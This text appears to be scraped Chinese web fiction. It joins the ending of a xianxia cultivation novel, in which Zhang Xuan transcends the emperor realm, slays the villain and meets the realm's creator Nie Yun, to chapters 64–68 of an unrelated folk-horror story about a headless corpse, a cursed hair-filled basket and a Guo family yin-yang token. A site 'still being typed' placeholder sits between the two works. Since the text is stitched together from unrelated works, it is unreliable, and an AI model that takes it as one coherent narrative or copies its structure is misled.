“反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第64章 提前防备 我看的很清楚,埋尸体的地方应该是没人动过,但挖开土层之后,我陡然发现,尸体的脑袋不见了。 我顿时惊出了一身冷汗,忍不住就朝周围看了几眼。这地方荒僻的鸟不拉屎,看不到半个人影。 尸体的脑袋的确是不见了,为了进一步确认一下,我急忙就撩开他的裤腿。 我和玉芬小时候经常一起玩,有一次我们爬树,玉芬手脚笨,失足从树上掉下来,小腿这里被树杈挂出一道很深的伤口,伤口愈合以后,就留下了一辈子都磨灭不掉的疤痕。 尸体已经开始腐烂,但烂的不算太严重,等撩开他的裤腿之后,我隐约能看出小腿那道疤痕的印记。 毫无疑问,这具尸体就是我当时埋在这里的那一具。 我几乎平趴在地面上,用手电照着尸体的脖子。尸体一腐烂,很多痕迹都被掩盖了,我顶着那股能把人熏晕的臭味,全神贯注的观察着。 从脖子上的断口能看出来,肯定是非常锋利的利器留下的,颈骨的切口很平整。 如果再细致的深入研究一下,大概能得出一个结论,尸体的脑袋是在尸体尚未发生腐烂之前就被取掉了。 也就是说,我前脚把尸体埋在这儿,后脚就有人取走了尸体的头。 这个念头让我的后背又冒出了一层冷汗,我已经非常投入的在感应周围的所有动静,可实在是感应不到什么异常。 眼前的情况是很明显的,尸体的脑袋被取走之后,挖出来的坑又被填埋,从外面来看,就看不出被触碰过的痕迹。 我一下子陷入了沉思之后,有些人在收集人的脑袋,这个事情我知道。当年的谢三,还有刀疤脸,都这么搞。 但他们收集的那些脑袋的主人,应该都不是普通的老百姓,必须有一定的价值,才会被收集。 玉芬这个人,我比他爹妈还了解,就是个又憨又直的人,不可能藏着什么心眼,更不会有什么不同寻常的过去。 连他的脑袋都要被收走,到底是因为什么? 想着想着,我忍不住朝玉芬睡觉的地方望了一眼。如今的玉芬彻底变了模样,如果他不开口说话,所有人肯定会觉得,他就是另外一个陌生人。 但他又有玉芬的脾气秉性,玉芬知道的事,他都知道,要是把尸体的脑袋被人取走的这件事再相互联系起来,其中就会衍生出一些耐人寻味的信息。 可是,这件事缺少周边线索,我一个人瞎琢磨,肯定摸不着头绪,想了很久,最后还是把坑重新填好,又悄悄回到了守夜的地方。 我又守了有一个小时左右,玉芬醒了,他显然比之前机警了许多,以前玉芬只要睡着,除非头上打雷,否则肯定不会主动醒过来。 “五满,你去睡会,我在这儿守着。” “行,那你多加小心。” “放心吧,你还不知道我?不是我吹牛,在我眼皮子底下,什么妖魔鬼怪都要现原形……” 他还是和以前一样,不管情况多狼狈,该吹的时候还是要吹。我自己躺下来,但在王川山山区的夜里,无论如何都产生不了睡意。 我暗中注视着玉芬,玉芬守夜时的所有动作,跟之前比都没有两样。 第二天一大早,我和玉芬就开始着手做准备,风水地下面的那条地下河,让我现在回想起来都浑身发冷,虽然地下河并不宽,但丝毫不能有任何的松懈。 我弄了一些树枝,和玉芬一起搬运到了地洞里,到了地下河的旁边,又把提前带来的几个游泳圈都吹起来,绑成一个简易的木筏子。 地下河还是上次的样子,水面上漂浮着一层绿油油的水藻。对于这条地下河,玉芬已经没有印象了,看着水流缓慢的河面,玉芬觉得很不以为然。 “这条河就这么宽,直接游过去不就行了?用得着还扎个木筏子?” “还是小心一点好。” 我没办法跟他解释那么多,他肯定不记得上个玉芬就是死在这条河里的。 水面波澜不惊,那一层绿油油的水藻彻底遮挡了视线。上次来这儿的时候,河水里有竹篓,就是从竹篓里伸出来的东西,把玉芬给拖下了水。 我拿着一根树枝,放到水里试探着,从树枝的震颤上,能判断一下水的具体流速,试探了大概有十几分钟,看上去似乎风平浪静,玉芬就把小木筏推到了水里。 这条地下河估计也就是七八米宽,登上木筏子,一用力就能行驶到对岸,我在前面,玉芬在后面,我的双眼死死的盯着两旁的河面。 木筏子很快就撞到了对面的河岸,我用棍子撑住木筏,打算一步跨到岸上去,我一边迈步,一边回头招呼玉芬。 当我回过头的那一刻,一下子汗毛直立,玉芬身后的水面上,无声无息的浮出了半个竹篓。 玉芬自从进来,就没怎么把这里当回事,竹篓浮出水面,他毫无察觉,我立刻大喊了一声,玉芬这才警觉。 但我提醒的还是慢了一步,竹篓的缝隙里唰的伸出来丝丝缕缕的头发,像是长了眼睛一样,直接就缠住了玉芬的脚脖子。 玉芬虽然有点漫不经心,但反应和速度都比以前快了很多,一察觉脚脖子被缠住,他马上弯下腰,压低重心,同时伸手就抓住了一丛头发。 我什么都来不及说,转手抱住玉芬的腰,使劲的朝后拽,我们配合的还算是默契,这一次玉芬不仅没有被拖下水,在两个人齐心协力之下,玉芬死命的拽着头发,硬生生把水里的竹篓给拖了上来。 我们匆忙就上了河岸,一直到岸上,竹篓里面的头发还是在不断的蔓延。玉芬这一次是真害怕了,一边全力把手上身上的头发朝下甩,一边喊道:“这是啥玩意儿?” 这样的头发,在王川山已经不是第一次见了,我知道这玩意儿怕火,提前就做了准备,随手就取出裹在油纸里的火棉,引火点燃。 火棉跟着就点燃了浸着油的破布,火苗噌噌升腾之间,竹篓里的头发立刻就缩了回去。 第65章 熟悉的脑袋 这玩意儿好不容易被抓到了,绝对不能放过。我从包里取出装在玻璃瓶中的煤油,又拿出一团布,围着竹篓摆了一圈。 浇了煤油的布燃烧的很快,一瞬间,竹篓四周都是火。我知道这东西烧的时间不长,所以得抓紧点。 我和玉芬一人守着一边,各自拿着铲子和钢钎,把竹篓的盖子给撬开。 这个竹篓不算太大,盖子一打开,就能看到里面满满当当的全是头发,密密麻麻的一大团,让人牙根都发酸。 我觉得,如果单纯是一团头发,应该闹不出这么大的幺蛾子,竹篓里面肯定还有别的东西。 竹篓里的头发已经彻底被火给压住了,蜷缩着不敢钻出来,玉芬这时候再也不敢有任何大意,拦着我说道:“现在还不稳妥,等下。” 他用铲子铲起一团火,顺势就按到了竹篓里,火团一进去,密密麻麻的头发就好像成千上万条细小的虫子,一下子炸锅了。 整个竹篓晃晃悠悠,里面的头发肯定想要钻出去,但四周都是火,直接把它们堵死了。竹篓里的头发滋滋啦啦剧烈的燃烧,一大半头发很快就化成灰烬,剩下那些也都蜷缩到了竹篓底部。 一直到这时候,才能看到竹篓里面真的有一团东西,看起来应该是一颗脑袋。 所有的头发,都是从这颗脑袋上长出来的。根据我的判断,这颗脑袋在地下河这条必经之路一直游弋,可能就是阻拦想要从这里经过的人。 玉芬把竹篓踢翻,里面那颗脑袋连同烧的焦黑的头发全都滚落出来,我用手电照了照,脑袋肯定经过了特殊的防腐处理,在地下河的河水中浸泡了那么久都没有烂掉。 脑袋被刚才的火苗熏的黑一块白一块,面目全非,火焰一烧,头发烧焦了一大半,这颗脑袋似乎也安生下来,骨碌碌滚了几下,停在了不远处。 我蹲下来看了看,这颗脑袋的外面,也裹着一层薄薄的蜡,又能防水又能防腐,蜡融化成了一团,让这颗脑袋脸颊上的皮肉有些扭曲。 看了几眼之后,我心里陡然一紧,觉得这颗脑袋有点面熟。 我急忙用尚未烧完的破布兜住这颗脑袋,到河边用水冲洗了一下,脑袋上的痕迹不可能被完全冲洗掉,但至少能让我辨认个大概。 看着眼前这颗脑袋,我自己的脑袋也瞬间胀大了一圈。 这颗脑袋已经基本露出了原本的面貌,我认出来这竟然是毛叔。 毛叔的死,我是知情的,当时还是我给他抬棺出殡,可我万万没有想到,竹篓里面装的会是他的脑袋。 这一刻,我之前的一些想法又一次被击打的粉碎,我觉得,有人收集脑袋,肯定是有大用,绝对不可能是用人头来做一些邪法,那样根本不划算。 可是毛叔的脑袋,很显然就是在搞幺蛾子,除了这个,我真的看不出还有什么别的用处。 “这不是……这不是毛叔吗?”玉芬显然也记得毛叔,顿时打了个哆嗦:“毛叔死的时候,脑袋不见了,怎么会跑到这儿?” 我没有答话,因为我也不知道答案,毛叔去世到现在,时间并不算长,那就意味着,他的脑袋也就是近期才被人放到这儿的。 这个地洞的入口是我们上一次打开的,当时我就看着地洞的入口被封了很久,肯定没人碰过。如果按照这个思路去想,这个地洞估计不止一个入口,只不过我们暂时没有发现而已。 就因为发现了毛叔的脑袋,让我的情绪很复杂,而且很沉重,师傅和毛叔的死法都是一样的,要是毛叔的脑袋在这儿,师傅的脑袋会不会也在这儿? 我想象不出来,如果真的遇见师傅的脑袋闹出什么幺蛾子,我该怎么去应对。 但情况越是复杂离奇,就意味着背后可能隐藏着更多的真相,我这次已经下定了决心,无论环境多么恶劣,都要咬着牙走下去。 玉芬把瓶子里剩下的煤油全都倒在毛叔的脑袋上,看样子是要点燃。我是毛叔的晚辈,也是熟人,这么做,我的确有点于心不忍。 “五满啊,现在也不是心软的时候,毛叔都挂了,就剩这么一颗脑袋,现在不解决掉,说不准后面还会有麻烦。” 我不忍心,但也知道玉芬说的对。 玉芬浇上煤油,又从口袋里取出烟,规规矩矩的点了三支,放在毛叔的脑袋跟前,拜了拜,说道:“毛叔,我们到这儿来,是给五满救命的,您是长辈,怎么也不会跟我们计较的对不对?这里挺冷的,我给您烧火,暖和暖和,毛叔莫怪啊,莫怪莫怪……” 玉芬把煤油引燃,毛叔的脑袋就开始慢慢燃烧,烧的滋滋作响。 我朝前方看了看,这条路,必然走的不会那么顺畅。 过了好一会儿,脑袋上的皮肉都烧化了,只剩下黑漆漆的一颗头骨,玉芬把头骨重新装在竹篓里,然后丢到一旁。 等做完这些,我们就试探着开始朝地洞的深处走。 这个地洞是天然的,暂时还不知道面积有多大,但是地洞里既然有地下河,就说明空间足够广阔。周围的地形很复杂,到处都是天然的岩石隔断,凹/凸不平。 但是,经过我的分辨,我就发现在这些岩石隔断之间,隐约有一条可以通行的小路。小路不可能是天然形成的,一定有人开凿,开凿的痕迹已经非常久远。 我们顺着这条小路继续向前,地下河周围非常潮湿,小路上,身边的岩石上,都是滑腻的苔藓,我们走的很慢,亦步亦趋,同时还得做好防备。 就这样慢慢熬了两个小时,在曲折的道路中也不知道走出去多远。虽然体力消耗不大,但精神高度紧张,人就会觉得无形中很疲惫。 我们俩选了个合适的地方,靠着石头坐下来,这时候的地势比之前平坦了一些,我捡了块石头用力扔出去,能听到石头落地之后的滚动声。 第66章 缝隙里的发现 我觉得,前面的地势如果平缓一些,我们也能走的快一点,毕竟在这种地方呆的久了,不仅让人害怕,而且心里很压抑。 玉芬从包里取出食物,给我分了点。这次到王川山,我知道滞留的时间应该不会太短,所以尽量把给养带的充足一些,除了干粮,还有饼干之类的东西。 “甜瓜姐烙的饼不行啊,这么硬,老费牙了。” “凑合吃点吧,在这种地方,不比在家。” 四下里一片漆黑,这种黑暗比外面最深沉的暗夜还要黑,让人心情很压抑。 前面的路还有很远,不知道是不是仍然存在什么未知的危险,我没什么胃口,随便吃了两口,就先站起身,慢慢的朝前走了走,看看地势如何。 我走出去了三四十米左右,借助手电的光照,我感觉前面的地势的确是平坦了一些。 但是,视线的尽头还是黑漆漆的一团,什么都看不清楚。我的心一直高悬着,虽然暂时没有发现什么异常,可这地方绝非善地,王先生说了,师傅和毛叔他们当年三番五次的到这里来,不仅毫无收获,还闹出过人命。 我看了十来分钟,然后调头朝回走,还没走到跟前,我就看到原本坐在地上的玉芬直挺挺的站着,面对着身后的石壁。 他这个样子有点奇怪,我还没来得及问,玉芬似乎开始嘀嘀咕咕的说话,他说话的声音很小,我听的有点模糊。 “我是从山外来的……有事……给你帮不上忙……” 我一听就炸毛了,玉芬肯定不是在和我说话,他面前就是石头,现在自言自语一样,看着很让人揪心。 我本身就高度紧张,玉芬此时的举动让我更加惶恐,我急忙停下脚步,全神贯注的看着。 “我现在不走……没法带你回家……再说,我也看不见你……” 这几句话一说出来,我的头更大了,玉芬肯定是在跟谁对话,但和他对话的,是一个肉眼看不见的东西。 我急忙朝周围看,但是,连任何淡淡的影子都看不到。 “那你等着,我去找你……” 玉芬嘟囔到这儿,跟着就伸出双手,他的动作有点僵硬,这样的情况,我以前见过很多次,肯定是不正常了。 我不知道他要干什么,立刻上前,拉住了他的胳膊,玉芬不搭理我,两只手在石壁上一摸索,就抬脚朝上爬。 身后的石壁坑坑洼洼,能借力的地方很多,现在的玉芬精瘦精瘦的,但力气却大的吓人,我的手一滑,玉芬挣脱出来,噌噌就爬了上去。 我们在王川山这里出过事,而且都是人命关天的大事,无论如何,我都不能看着玉芬再出什么麻烦。 一想到这儿,我硬着头皮也开始朝石壁上爬。 这面石壁一点都不陡峭,但是爬在上面毕竟不如平地那么稳当,我不敢爬的太快,唯恐会摔下来,玉芬却毫无顾忌,机械一般的爬个不停。 爬上去大概有七八米的时候,我发现石壁上面有一道很深的裂痕,裂痕和山间的栈道一样,一米五左右高,人钻进去得低着脑袋。 玉芬爬到这道裂痕跟前,二话不说就弯腰钻了进去,然后手脚并用的朝前爬,一边爬,嘴里一边念叨着:“我来了……找到你了……” 我心里急,但没有办法,始终和玉芬相差一段距离,我全力也爬到裂缝跟前,钻进去之后,还没等再朝前爬,玉芬陡然间双腿一蹬,整个人立刻蹿了出去。 他的动作很快,也很麻利,借着身躯前冲的余力,双手猛然一扑。 玉芬这么一扑,就发出了嘁哩喀喳的声音,裂缝的边缘有什么东西零零散散的坠落下去。 一直到这时候,我才发现玉芬的前面,是一堆骨头。那堆骨头基本保持着原样,只是被玉芬给扑散了。 “五满,没啥事了。”玉芬双手扣着一颗头骨,回头冲我说道:“刚才情况不明,我也不敢大意,先弄清楚了再说。” 我松了口气,这才明白玉芬从头到尾都没有失去正常的神智,只是借机靠近这里,看看具体的情况。 如今的玉芬和之前相比,真的是大相径庭,让我心里踏实了不少。 “这人至少死了十年靠上了。”玉芬在周围扒拉了一下,死者的随身物品都还在,只从这些东西就能判断,肯定是十多年前的物件。 根据遗留的骨头来分析,这个人死的时候岁数不会太大,三十多的样子,正当壮年,但从这些随身的物品,也无法推测他的详细情况。 我的脑海中立刻又闪现出王先生讲述的往事,有的事情王先生没有亲身参与,只知道师傅和毛叔在这个风水地的地洞里勘察了不止一次。 这个人的死因无法断定,骨头没有伤,然而,我总觉得他死亡的地点很蹊跷。 石壁上的裂痕距离地面七八米,虽然爬上来不至于太费劲,但这个人却偏偏要跑到这里死,这就很反常。 想着想着,我的心头就猛然一紧,立刻意识到,这个人之所以会到这里,应该是为了躲避什么危险,否则的话,眼前的情况就很难解释的通。 时间虽然过去很久了,但这个地洞深处人迹罕至,很多东西或许可以在这样的状态下保存很多年,也就是说,这个人当年所遇到的危险,说不准还没有完全解除。 他到底在躲避什么危险? 这时候,玉芬在一堆乱七八糟的东西里面,翻出了一坨圆圆的玩意儿,只有半个巴掌大小。 这东西肯定是铜的,上面的铜锈一疙瘩一疙瘩,玉芬把上面的铜锈一点点的给刮掉,这东西虽然还没能彻底恢复原貌,但已经可以看个大概。 这是一面很小很小的铜牌,略微呈椭圆形,铜牌的一面有雕刻的纹理,大眼一看,我就觉得,这些复杂的纹理拼凑出了一张很奇怪的脸。 这张脸从中间一分为二,左边的脸庞像是在笑,右边的脸庞像是在哭,一哭一笑,就让脸显得神秘而且诡异。 第67章 一个字 这块刻着一张脸的铜牌,我还是第一次见,不知道这究竟是个什么东西。 “这玩意儿……”玉芬翻来覆去的把铜牌看了几遍,皱着眉头想了想,突然眼睛就睁圆了:“这是阴阳牌!” “阴阳牌?” “对,阴阳牌!在咱们白八门,这可是了不得的东西!” 白八门是祖师爷郭璞的几个亲传弟子创建的,在很早以前,白八门各个分支的地位都相等,谁也无法指挥谁,遇见事情,只能协商,如果谈不拢,就会有麻烦。 有那么一段时间,白八门经常闹内讧,一些老辈人觉得这么闹下去不是办法,迟早要把白八门给搞黄,因此,他们专门请来了祖师爷的嫡系子孙,来主持事务。 祖师爷的嫡传子孙,一般都不从事丧葬职业,所以也不会命令白八门去做什么事情,只在遇到重大事务或者争端的时候,才出来主持一下。 那年头,祖师爷在众多门徒心里,就和神一样,祖师爷嫡传的子孙出来说话,分量很足。 祖师爷嫡传一系,有一块阴阳牌,据说这是祖师爷当年静坐悟道的时候,手中把玩的东西。半张哭脸,半张笑脸,其实寓意着阴阳,也寓意生死,久而久之,阴阳牌就变成了祖师爷嫡传的象征。 有时候,即便嫡传子弟没有到场,派人带着阴阳牌过来,一样管用。 一直到民/国时期,白八门的门徒还保持着一个习惯,就是每年祭祖的时候,专门找祖师爷的嫡传子孙,把阴阳牌恭恭敬敬的请过来,等祭拜完了,再恭恭敬敬的送回去。 当年,阴阳牌的分量不言而喻,对白八门的人来说,真的和圣旨一样。 早些年,白八门出了一个叫孙如海的人,他是白八门望气一脉的大师,半生精研风水,名声鼎盛。当时的达官显贵为了堪舆风水,不惜跑上千百里的路,请孙如海帮忙。 孙如海当时的价格,是论字的。就是说,他帮人堪舆风水的时候,说的每一个字,都是钱。名头最盛时,据说孙如海一个字一两黄金,绝不还价。 人有了名望地位,多少都会有些飘飘然,孙如海也不例外,平时被人恭维的多了,把谁都不看在眼里。 有一年,祖师爷的嫡系,也就是郭家的人路过,方圆二三百里内白八门的门徒全都来了,唯独孙如海,离的最近,却不肯露面,有人专门去请,孙如海也不回应,暗地里还跟人说,郭家那个黄毛小子,不值得自己一见。 这话不知怎么就传到了郭家人的耳朵里,郭家当时的家主也没有上门来兴师问罪,就派了个骑着毛驴的老头儿,把阴阳牌送到了孙如海家里。 那一晚上发生了什么事情,谁都不知道,但第二天一大早,孙如海急匆匆的赶到了郭家,跪在大门外头,自己砍了自己三根手指,还用烟熏瞎了一只眼。 付出这么大的代价,郭家人才算罢休,孙如海捡了一条命,回家之后从此闭门不出,就在家里了却残生。 但是随后的几十年里,环境和之前不同,白八门被打压的抬不起头,为了生存,只能各奔东西,成了一盘散沙。一条规矩,如果长年累月有人遵守,别的人也不敢违背,可大家都不拿规矩当规矩,这条规矩也就慢慢的淡了。 而且,郭家那些年也很惨,远走他乡隐姓埋名。到了我师傅年轻那会儿,已经听不到郭家的消息,至于阴阳牌,也早就被人给淡忘了。 所以,像我这样入门晚的人,几乎就没听说过阴阳牌。 阴阳牌是郭家的东西,这玩意儿他们不可能送人,因此,拿着阴阳牌的,一定就是郭家的人。 如此一来,这个死在缝隙里面的人的身份,基本就得到了印证。 我万万没有想到,王川山这片风水地,不仅吸引了师傅和毛叔,就连郭家人也被吸引了过来。 这人死亡的地点很蹊跷,所以一直让我感觉非常的担心。死者随身携带的东西,都已经被玉芬彻彻底底的翻找了一遍,除了那块阴阳牌,暂时也没有更重要的发现。 我就在死者附近来来回回的看,如果能查找到一点关于他死因的线索,那么最起码我和玉芬可以提前防备一下。 裂缝的空间很狭小,腰都直不起来,我认真的看了一会儿,可是一无所获,总是呆在这儿也不是个事,我就招呼玉芬,先回到地面再说。 就在我艰难的转过身,想要离开的时候,突然就看到死者头颅那个位置的地面上,有几道不怎么起眼的印记。尸体的头骨被玉芬给按住了,周围都是薄薄一层灰尘,如果不仔细看的话,的确是容易忽略的。 我趴在地上,把灰尘一点点的抹开,很快,地面那几道印记,就清晰了一些。 印记是黑色的,微微有点泛红,如果我没看错的话,这应该是血写出来的一个字。死者估计就是写完这个字之后就死掉了,地洞里面没有空气对流,也没有风吹日晒,这个字的印记,完整的保留到了今天。 我能看得出来,死者写下来的这个字,是一个花朵的“花”字。 如果按照正常思维去判断,一个人知道自己要死了,却拼命留下一个字,那么很可能就是给自己的同伴留下警示,或者说是重要的线索。 但地面上只有一个字,虽然认得这个字,却很难去猜测,死者留下这个字的真实用意。 简简单单一个花字,可能指的是一种植物的花朵,也可能是一个姓氏,还可能是只有同伴才可以看懂的暗指。 想要搞清楚死者为什么留下这个字,简直比破译密码还要难。 我和玉芬琢磨了半天,也相互说了自己的看法,但难以达到正确的认知。 “既然想不明白,干脆也就别想了,咱们先下去再说。” 我和玉芬一前一后的重新回到地面,然而,死者留下的那个字,却如同一块沉重的石头,让我的胸口发闷。 第68章 红色的花 虽然心里很不踏实,但该走的路还是要继续走。我们朝前又缓缓行走了百十米左右,脚下的地面果然开始平坦,左右两侧还是坑坑洼洼,但至少中间有一条可以从容走过的路。 走到这里的时候,情况有了新的变化。只要仔细观察就能发现,脚下原本只是一条很狭窄的小路,但后面经过了人为的铺垫,成块成块的大石头很有规律的叠放在两侧,无形中等于加宽了路面。 